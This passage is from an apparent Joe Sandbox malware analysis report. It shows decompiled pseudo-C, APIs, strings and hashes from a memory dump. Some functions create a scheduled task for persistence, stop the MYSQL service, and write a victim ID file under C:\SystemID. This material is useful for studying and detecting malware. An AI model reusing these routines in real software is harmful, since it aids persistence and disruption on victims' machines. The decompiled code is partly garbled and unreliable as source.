Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00418000(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				intOrPtr _t99;
				signed int _t102;
				signed int _t107;
				intOrPtr* _t108;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr* _t116;
				intOrPtr _t124;
				intOrPtr* _t136;
				intOrPtr _t148;
				intOrPtr _t149;
				intOrPtr _t160;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t183;
				intOrPtr _t185;
				intOrPtr* _t188;
				intOrPtr _t189;
				intOrPtr* _t190;
				intOrPtr* _t191;
				intOrPtr _t192;
				signed int _t193;
				intOrPtr _t197;
				intOrPtr* _t198;
				intOrPtr* _t199;
				intOrPtr* _t200;
				intOrPtr* _t201;
				intOrPtr* _t204;
				intOrPtr _t207;
				intOrPtr* _t208;
				intOrPtr* _t210;
				intOrPtr* _t213;
				intOrPtr* _t219;
				void* _t226;

				_push(__ecx);
				_t219 = __ecx;
				_t213 = _a4;
				_t188 =  *((intOrPtr*)(__ecx + 0x10));
				if(_t188 < _t213) {
					L102:
					_push("invalid string position");
					E0044F26C(__eflags);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					return  *_t188;
				} else {
					_t183 = _a16;
					_t99 =  *((intOrPtr*)(_a12 + 0x10));
					if(_t99 < _t183) {
						goto L102;
					} else {
						_t188 = _t188 - _t213;
						_t207 =  <  ? _t188 : _a8;
						_a8 = _t207;
						_t185 =  <  ? _t99 - _t183 : _a20;
						_t102 =  *((intOrPtr*)(__ecx + 0x10)) - _t207;
						_v8 = _t102;
						if((_t102 | 0xffffffff) - _t185 <= _v8) {
							_push("string too long");
							E0044F23E(__eflags);
							goto L102;
						} else {
							_t189 = _t188 - _t207;
							_t107 = _v8 + _t185;
							_a20 = _t189;
							_v8 = _t107;
							if( *((intOrPtr*)(__ecx + 0x10)) < _t107) {
								_push(0);
								E00415810(_t185, __ecx, _t213, _t107);
								_t189 = _a20;
								_t207 = _a8;
							}
							_t108 = _a12;
							if(_t219 == _t108) {
								__eflags = _t185 - _t207;
								if(_t185 > _t207) {
									__eflags = _a16 - _t213;
									if(_a16 > _t213) {
										__eflags = _t213 + _t207 - _a16;
										_t110 =  *((intOrPtr*)(_t219 + 0x14));
										if(_t213 + _t207 > _a16) {
											__eflags = _t110 - 0x10;
											if(_t110 < 0x10) {
												_a12 = _t219;
											} else {
												_a12 =  *_t219;
											}
											__eflags = _t110 - 0x10;
											if(_t110 < 0x10) {
												_t190 = _t219;
											} else {
												_t190 =  *_t219;
											}
											__eflags = _t207;
											if(_t207 != 0) {
												__eflags = _a12 + _a16;
												E004205A0(_t190 + _t213, _a12 + _a16, _t207);
												_t207 = _a8;
												_t226 = _t226 + 0xc;
											}
											_t111 =  *((intOrPtr*)(_t219 + 0x14));
											__eflags = _t111 - 0x10;
											if(_t111 < 0x10) {
												_a12 = _t219;
											} else {
												_a12 =  *_t219;
											}
											__eflags = _t111 - 0x10;
											if(_t111 < 0x10) {
												_t191 = _t219;
											} else {
												_t191 =  *_t219;
											}
											_t112 = _a20;
											__eflags = _t112;
											if(_t112 != 0) {
												__eflags = _t191 + _t213 + _t185;
												E004205A0(_t191 + _t213 + _t185, _a12 + _t213 + _t207, _t112);
												_t226 = _t226 + 0xc;
											}
											_t113 =  *((intOrPtr*)(_t219 + 0x14));
											__eflags = _t113 - 0x10;
											if(_t113 < 0x10) {
												_a12 = _t219;
											} else {
												_a12 =  *_t219;
											}
											__eflags = _t113 - 0x10;
											if(_t113 < 0x10) {
												_t208 = _t219;
											} else {
												_t208 =  *_t219;
											}
											_t192 = _a8;
											_t115 = _t185 - _t192;
											__eflags = _t115;
											if(_t115 != 0) {
												_push(_t115);
												_push(_a12 + _a16 + _t185);
												_t124 = _t213 + _t208 + _t192;
												__eflags = _t124;
												goto L96;
											}
										} else {
											__eflags = _t110 - 0x10;
											if(_t110 < 0x10) {
												_a4 = _t219;
											} else {
												_a4 =  *_t219;
												_t207 = _a8;
											}
											__eflags = _t110 - 0x10;
											if(_t110 < 0x10) {
												_a12 = _t219;
											} else {
												_a12 =  *_t219;
											}
											__eflags = _t189;
											if(_t189 != 0) {
												__eflags = _a12 + _t213 + _t185;
												E004205A0(_a12 + _t213 + _t185, _a4 + _t213 + _t207, _t189);
												_t207 = _a8;
												_t226 = _t226 + 0xc;
											}
											_t197 =  *((intOrPtr*)(_t219 + 0x14));
											__eflags = _t197 - 0x10;
											if(_t197 < 0x10) {
												_t136 = _t219;
											} else {
												_t136 =  *_t219;
											}
											__eflags = _t197 - 0x10;
											if(_t197 < 0x10) {
												_t198 = _t219;
											} else {
												_t198 =  *_t219;
											}
											__eflags = _t185;
											if(_t185 != 0) {
												_push(_t185);
												_push(_t136 - _t207 + _a16 + _t185);
												_t124 = _t198 + _t213;
												goto L96;
											}
										}
									} else {
										_t148 =  *((intOrPtr*)(_t219 + 0x14));
										__eflags = _t148 - 0x10;
										if(_t148 < 0x10) {
											_a4 = _t219;
										} else {
											_a4 =  *_t219;
											_t207 = _a8;
										}
										__eflags = _t148 - 0x10;
										if(_t148 < 0x10) {
											_a8 = _t219;
										} else {
											_a8 =  *_t219;
										}
										__eflags = _t189;
										if(_t189 != 0) {
											__eflags = _a8 + _t213 + _t185;
											E004205A0(_a8 + _t213 + _t185, _a4 + _t213 + _t207, _t189);
											_t226 = _t226 + 0xc;
										}
										_t149 =  *((intOrPtr*)(_t219 + 0x14));
										__eflags = _t149 - 0x10;
										if(_t149 < 0x10) {
											_t210 = _t219;
										} else {
											_t210 =  *_t219;
										}
										__eflags = _t149 - 0x10;
										if(_t149 < 0x10) {
											_t199 = _t219;
										} else {
											_t199 =  *_t219;
										}
										__eflags = _t185;
										if(_t185 != 0) {
											_push(_t185);
											_push(_a16 + _t210);
											_t124 = _t199 + _t213;
											goto L96;
										}
									}
								} else {
									_t160 =  *((intOrPtr*)(_t219 + 0x14));
									__eflags = _t160 - 0x10;
									if(_t160 < 0x10) {
										_a4 = _t219;
									} else {
										_a4 =  *_t219;
									}
									__eflags = _t160 - 0x10;
									if(_t160 < 0x10) {
										_t200 = _t219;
									} else {
										_t200 =  *_t219;
									}
									__eflags = _t185;
									if(_t185 != 0) {
										__eflags = _a4 + _a16;
										E004205A0(_t200 + _t213, _a4 + _a16, _t185);
										_t207 = _a8;
										_t226 = _t226 + 0xc;
									}
									_t161 =  *((intOrPtr*)(_t219 + 0x14));
									__eflags = _t161 - 0x10;
									if(_t161 < 0x10) {
										_a8 = _t219;
									} else {
										_a8 =  *_t219;
									}
									__eflags = _t161 - 0x10;
									if(_t161 < 0x10) {
										_t201 = _t219;
									} else {
										_t201 =  *_t219;
									}
									_t162 = _a20;
									__eflags = _t162;
									if(_t162 != 0) {
										_push(_t162);
										_push(_a8 + _t213 + _t207);
										_t124 = _t201 + _t213 + _t185;
										L96:
										_push(_t124);
										E004205A0();
										goto L97;
									}
								}
							} else {
								if( *((intOrPtr*)(_t219 + 0x14)) < 0x10) {
									_a8 = _t219;
								} else {
									_a8 =  *_t219;
									_t213 = _a4;
								}
								if( *((intOrPtr*)(_t219 + 0x14)) < 0x10) {
									_a20 = _t219;
								} else {
									_a20 =  *_t219;
									_t213 = _a4;
								}
								if(_t189 != 0) {
									E004205A0(_a20 + _t213 + _t185, _a8 + _t213 + _t207, _t189);
									_t108 = _a12;
									_t226 = _t226 + 0xc;
								}
								if( *((intOrPtr*)(_t108 + 0x14)) >= 0x10) {
									_t108 =  *_t108;
								}
								if( *((intOrPtr*)(_t219 + 0x14)) < 0x10) {
									_t204 = _t219;
								} else {
									_t204 =  *_t219;
								}
								if(_t185 != 0) {
									E0042D8D0(_t204 + _t213, _t108 + _a16, _t185);
									L97:
								}
							}
							_t193 = _v8;
							 *(_t219 + 0x10) = _t193;
							if( *((intOrPtr*)(_t219 + 0x14)) < 0x10) {
								_t116 = _t219;
								 *((char*)(_t116 + _t193)) = 0;
								return _t116;
							} else {
								 *((char*)( *_t219 + _t193)) = 0;
								return _t219;
							}
						}
					}
				}
			}

0x00418003
0x00418005
0x00418008
0x0041800b
0x00418010
0x00418342
0x00418342
0x00418347
0x0041834c
0x0041834d
0x0041834e
0x0041834f
0x00418352
0x00418016
0x0041801a
0x0041801d
0x00418022
0x00000000
0x00418028
0x0041802b
0x0041802f
0x00418039
0x0041803c
0x00418042
0x00418044
0x0041804f
0x00418338
0x0041833d
0x00000000
0x00418055
0x00418058
0x0041805a
0x0041805c
0x0041805f
0x00418065
0x00418067
0x0041806c
0x00418071
0x00418074
0x00418074
0x00418077
0x0041807c
0x004180f3
0x004180f5
0x0041816a
0x0041816d
0x004181e3
0x004181e6
0x004181e9
0x0041825e
0x00418261
0x0041826a
0x00418263
0x00418265
0x00418265
0x0041826d
0x00418270
0x00418276
0x00418272
0x00418272
0x00418272
0x00418278
0x0041827a
0x0041827f
0x00418288
0x0041828d
0x00418290
0x00418290
0x00418293
0x00418296
0x00418299
0x004182a2
0x0041829b
0x0041829d
0x0041829d
0x004182a5
0x004182a8
0x004182ae
0x004182aa
0x004182aa
0x004182aa
0x004182b0
0x004182b3
0x004182b5
0x004182c3
0x004182c6
0x004182cb
0x004182cb
0x004182ce
0x004182d1
0x004182d4
0x004182dd
0x004182d6
0x004182d8
0x004182d8
0x004182e0
0x004182e3
0x004182e9
0x004182e5
0x004182e5
0x004182e5
0x004182eb
0x004182f0
0x004182f0
0x004182f2
0x004182f4
0x004182fd
0x00418302
0x00418302
0x00000000
0x00418302
0x004181eb
0x004181eb
0x004181ee
0x004181fa
0x004181f0
0x004181f2
0x004181f5
0x004181f5
0x004181fd
0x00418200
0x00418209
0x00418202
0x00418204
0x00418204
0x0041820c
0x0041820e
0x0041821e
0x00418221
0x00418226
0x00418229
0x00418229
0x0041822c
0x0041822f
0x00418232
0x00418238
0x00418234
0x00418234
0x00418234
0x0041823a
0x0041823d
0x00418243
0x0041823f
0x0041823f
0x0041823f
0x00418245
0x00418247
0x00418254
0x00418255
0x00418256
0x00000000
0x00418256
0x00418247
0x0041816f
0x0041816f
0x00418172
0x00418175
0x00418181
0x00418177
0x00418179
0x0041817c
0x0041817c
0x00418184
0x00418187
0x00418190
0x00418189
0x0041818b
0x0041818b
0x00418193
0x00418195
0x004181a5
0x004181a8
0x004181ad
0x004181ad
0x004181b0
0x004181b3
0x004181b6
0x004181bc
0x004181b8
0x004181b8
0x004181b8
0x004181be
0x004181c1
0x004181c7
0x004181c3
0x004181c3
0x004181c3
0x004181c9
0x004181cb
0x004181d6
0x004181d7
0x004181d8
0x00000000
0x004181d8
0x004181cb
0x004180f7
0x004180f7
0x004180fa
0x004180fd
0x00418106
0x004180ff
0x00418101
0x00418101
0x00418109
0x0041810c
0x00418112
0x0041810e
0x0041810e
0x0041810e
0x00418114
0x00418116
0x0041811b
0x00418124
0x00418129
0x0041812c
0x0041812c
0x0041812f
0x00418132
0x00418135
0x0041813e
0x00418137
0x00418139
0x00418139
0x00418141
0x00418144
0x0041814a
0x00418146
0x00418146
0x00418146
0x0041814c
0x0041814f
0x00418151
0x00418157
0x0041815f
0x00418163
0x00418304
0x00418304
0x00418305
0x00000000
0x00418305
0x00418151
0x0041807e
0x00418082
0x0041808e
0x00418084
0x00418086
0x00418089
0x00418089
0x00418095
0x004180a1
0x00418097
0x00418099
0x0041809c
0x0041809c
0x004180a6
0x004180b9
0x004180be
0x004180c1
0x004180c1
0x004180c8
0x004180ca
0x004180ca
0x004180d0
0x004180d6
0x004180d2
0x004180d2
0x004180d2
0x004180da
0x004180e9
0x0041830a
0x0041830a
0x004180da
0x00418311
0x00418314
0x00418318
0x0041832a
0x0041832e
0x00418335
0x0041831a
0x0041831d
0x00418327
0x00418327
0x00418318
0x0041804f
0x00418022

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160
comstringCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E0040DAC0(char _a4, intOrPtr _a24) {
				intOrPtr _v8;
				intOrPtr _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				char _v40;
				char _v44;
				intOrPtr _v60;
				intOrPtr _v76;
				short _v84;
				intOrPtr _v88;
				char _v92;
				short _v20572;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t73;
				intOrPtr* _t75;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t87;
				intOrPtr* _t93;
				intOrPtr* _t95;
				intOrPtr* _t97;
				intOrPtr* _t98;
				intOrPtr* _t100;
				intOrPtr _t129;

				 *[fs:0x0] = _t129;
				_t61 = E0042F7C0(0x504c);
				_v8 = 0;
				__imp__CoInitialize(0,  *[fs:0x0], 0x4ca948, 0xffffffff);
				if(_t61 >= 0) {
					__imp__CoCreateInstance(0x4d4f6c, 0, 1, 0x4d4f3c,  &_v24);
					_t63 = _v24;
					_push( &_v20);
					_push(0x4d4f8c);
					_push(0x4d4f9c);
					_push(L"Time Trigger Task");
					_push(_t63);
					if( *((intOrPtr*)( *_t63 + 0x20))() != 0) {
						_t98 = _v24;
						 *((intOrPtr*)( *_t98 + 0x1c))(_t98, L"Time Trigger Task");
						_t100 = _v24;
						 *((intOrPtr*)( *_t100 + 0x20))(_t100, L"Time Trigger Task", 0x4d4f9c, 0x4d4f8c,  &_v20);
					}
					_t65 = _v20;
					 *((intOrPtr*)( *_t65))(_t65, 0x4cf2e8,  &_v36);
					_t67 = _v36;
					 *((intOrPtr*)( *_t67 + 0x18))(_t67, 0, 1);
					_t69 = _v20;
					 *((intOrPtr*)( *_t69))(_t69, 0x4d4f7c,  &_v44);
					_t71 = _v20;
					 *((intOrPtr*)( *_t71 + 0x78))(_t71, 0x500078, 0);
					_t73 = _v20;
					_t122 =  >=  ? _a4 :  &_a4;
					 *((intOrPtr*)( *_t73 + 0x80))(_t73,  >=  ? _a4 :  &_a4);
					_t75 = _v20;
					 *((intOrPtr*)( *_t75 + 0x88))(_t75, L"--Task");
					_t78 =  >=  ? _a4 :  &_a4;
					lstrcpyW( &_v20572,  >=  ? _a4 :  &_a4);
					PathRemoveFileSpecW( &_v20572);
					_t83 = _v20;
					 *((intOrPtr*)( *_t83 + 0x90))(_t83,  &_v20572);
					_t85 = _v20;
					 *((intOrPtr*)( *_t85 + 0x48))(_t85, L"Comment");
					_t87 = _v20;
					_v28 = 0;
					_v32 = 0;
					_v40 = 0;
					 *((intOrPtr*)( *_t87 + 0xc))(_t87,  &_v40,  &_v28);
					E0042B420( &_v92, 0, 0x30);
					_v88 = 0xb07e2;
					_v92 = 0x30;
					_t129 = _t129 + 0xc;
					_v84 = 1;
					_t93 = _v28;
					_v76 = 0x21000c;
					_v60 = 0;
					 *((intOrPtr*)( *_t93 + 0xc))(_t93,  &_v92);
					_t95 = _v20;
					 *((intOrPtr*)( *_t95))(_t95, 0x4cf2e8,  &_v32);
					_t97 = _v32;
					_t61 =  *((intOrPtr*)( *_t97 + 0x18))(_t97, 0, 0);
					__imp__CoUninitialize();
				}
				if(_a24 >= 8) {
					_t61 = L00422587(_a4);
				}
				 *[fs:0x0] = _v16;
				return _t61;
			}

0x0040dad6
0x0040dadd
0x0040dae4
0x0040daeb
0x0040daf3
0x0040db0b
0x0040db11
0x0040db17
0x0040db18
0x0040db1d
0x0040db24
0x0040db29
0x0040db2f
0x0040db31
0x0040db3c
0x0040db3f
0x0040db58
0x0040db58
0x0040db5b
0x0040db6a
0x0040db6c
0x0040db76
0x0040db79
0x0040db88
0x0040db8a
0x0040db97
0x0040db9a
0x0040dba4
0x0040dbac
0x0040dbb2
0x0040dbbd
0x0040dbca
0x0040dbd6
0x0040dbe3
0x0040dbe9
0x0040dbf6
0x0040dbfc
0x0040dc07
0x0040dc0a
0x0040dc11
0x0040dc1b
0x0040dc22
0x0040dc2d
0x0040dc38
0x0040dc42
0x0040dc49
0x0040dc4d
0x0040dc55
0x0040dc5c
0x0040dc5f
0x0040dc66
0x0040dc71
0x0040dc74
0x0040dc83
0x0040dc85
0x0040dc8f
0x0040dc92
0x0040dc92
0x0040dc9c
0x0040dca1
0x0040dca6
0x0040dcac
0x0040dcb6

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32 ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
Comment, xrefs: 0040DBFF

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63
servicesleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411A10() {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v28;
				struct _SERVICE_STATUS _v32;
				void* _t9;
				int _t10;
				intOrPtr _t16;
				void* _t19;
				intOrPtr _t23;
				void* _t26;

				_t9 = OpenSCManagerW(0, 0, 1);
				_t19 = _t9;
				if(_t19 != 0) {
					_t10 = OpenServiceW(_t19, L"MYSQL", 0x20);
					_t26 = _t10;
					if(_t26 == 0) {
						L12:
						return _t10;
					}
					if(ControlService(_t26, 1,  &_v32) == 0) {
						L11:
						_t10 = CloseServiceHandle(_t19);
						goto L12;
					}
					if(QueryServiceStatus(_t26,  &_v32) == 0 || _v28 == 1) {
						L10:
						CloseServiceHandle(_t26);
						goto L11;
					} else {
						_t16 = _v12;
						do {
							_t23 = _t16;
							Sleep(_v8);
							if(QueryServiceStatus(_t26,  &_v32) == 0) {
								break;
							}
							_t16 = _v12;
						} while (_t16 >= _t23 && _v28 != 1);
						goto L10;
					}
				}
				return _t9;
			}

0x00411a1d
0x00411a23
0x00411a27
0x00411a32
0x00411a38
0x00411a3c
0x00411aa4
0x00000000
0x00411aa4
0x00411a54
0x00411aa0
0x00411aa1
0x00000000
0x00411aa3
0x00411a63
0x00411a9d
0x00411a9e
0x00000000
0x00411a6b
0x00411a6b
0x00411a70
0x00411a73
0x00411a75
0x00411a88
0x00000000
0x00000000
0x00411a8a
0x00411a8d
0x00000000
0x00411a97
0x00411a63
0x00411aa9

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E0044F26C(void* __eflags, char _a4) {
				char _v16;
				char _v24;
				char _v44;
				intOrPtr _v52;
				char _v76;
				char _v84;
				char _v104;
				void* _t50;
				void* _t51;

				_t51 = _t50 - 0xc;
				E00430CFC( &_v16,  &_a4);
				_v16 = 0x4d6560;
				E00430ECA( &_v16, 0x508238);
				asm("int3");
				_push(_t50);
				E00430CFC( &_v44,  &_v24);
				_v44 = 0x4d6578;
				E00430ECA( &_v44, 0x508274);
				asm("int3");
				_push(_t51);
				E0044EF74( &_v76, _v52);
				E00430ECA( &_v76, 0x508320);
				asm("int3");
				_push(_t51 - 0xc);
				E00430CFC( &_v104,  &_v84);
				_v104 = 0x4d656c;
				E00430ECA( &_v104, 0x5082cc);
				asm("int3");
				return "bad function call";
			}

0x0044f26f
0x0044f27f
0x0044f28c
0x0044f294
0x0044f299
0x0044f29a
0x0044f2ad
0x0044f2ba
0x0044f2c2
0x0044f2c7
0x0044f2c8
0x0044f2d4
0x0044f2e2
0x0044f2e7
0x0044f2e8
0x0044f2fb
0x0044f308
0x0044f310
0x0044f315
0x0044f31b

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040C740(char _a4, intOrPtr _a20, intOrPtr _a24) {
				struct _SECURITY_ATTRIBUTES* _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				struct _SECURITY_ATTRIBUTES* _v40;
				struct _SECURITY_ATTRIBUTES* _v56;
				char _v316;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t77;
				intOrPtr _t79;
				signed int _t86;
				void* _t92;
				void* _t95;
				void* _t96;
				signed int _t98;
				struct _SECURITY_ATTRIBUTES** _t101;
				DWORD* _t109;
				void* _t117;
				signed int _t121;
				intOrPtr _t123;
				intOrPtr* _t126;
				signed int _t127;
				signed int _t128;
				signed int _t138;
				intOrPtr _t141;
				signed int _t142;
				signed int _t143;
				intOrPtr _t144;
				signed int _t146;
				signed int _t147;
				signed int _t150;
				intOrPtr _t151;
				void* _t153;
				void* _t155;
				void* _t156;

				_push(0xffffffff);
				_push(0x4ca7b8);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t151;
				_v8 = 0;
				_t121 = 0;
				_t138 = 0;
				_v32 = 0;
				_t141 = 0;
				_v28 = 0;
				_v24 = 0;
				_v8 = 1;
				_t77 = E00420FDD(L"C:\\SystemID\\PersonalID.txt", "r");
				_t153 = _t151 - 0x130 + 8;
				_v20 = _t77;
				if(_t77 == 0) {
					L28:
					_t142 = _t121;
					if(_t121 == _t138) {
						L32:
						CreateDirectoryW(L"C:\\SystemID", 0);
						_t79 = E00420FDD(L"C:\\SystemID\\PersonalID.txt", "w");
						_t153 = _t153 + 8;
						_v20 = _t79;
						if(_t79 != 0) {
							_t143 = _t121;
							__eflags = _t121 - _t138;
							if(_t121 == _t138) {
								L47:
								__eflags = _a24 - 8;
								_t144 = _v20;
								_t81 =  >=  ? _a4 :  &_a4;
								_push(_t144);
								_push( >=  ? _a4 :  &_a4);
								E004228FD(_t121, _t135, _t138, _t144, __eflags);
								_push(_t144);
								_push("\n");
								E004228FD(_t121, _t135, _t138, _t144, __eflags);
								_push(_t144);
								_t79 = E00423A38(_t121, _t138, _t144, __eflags);
								_t153 = _t153 + 0x14;
								__eflags = _t121;
								if(_t121 == 0) {
									L54:
									if(_a24 >= 8) {
										_t79 = L00422587(_a4);
									}
									 *[fs:0x0] = _v16;
									return _t79;
								}
								_t146 = _t121;
								__eflags = _t121 - _t138;
								if(_t121 == _t138) {
									L53:
									_t79 = L00422587(_t121);
									_t153 = _t153 + 4;
									goto L54;
								}
								do {
									__eflags =  *((intOrPtr*)(_t146 + 0x14)) - 8;
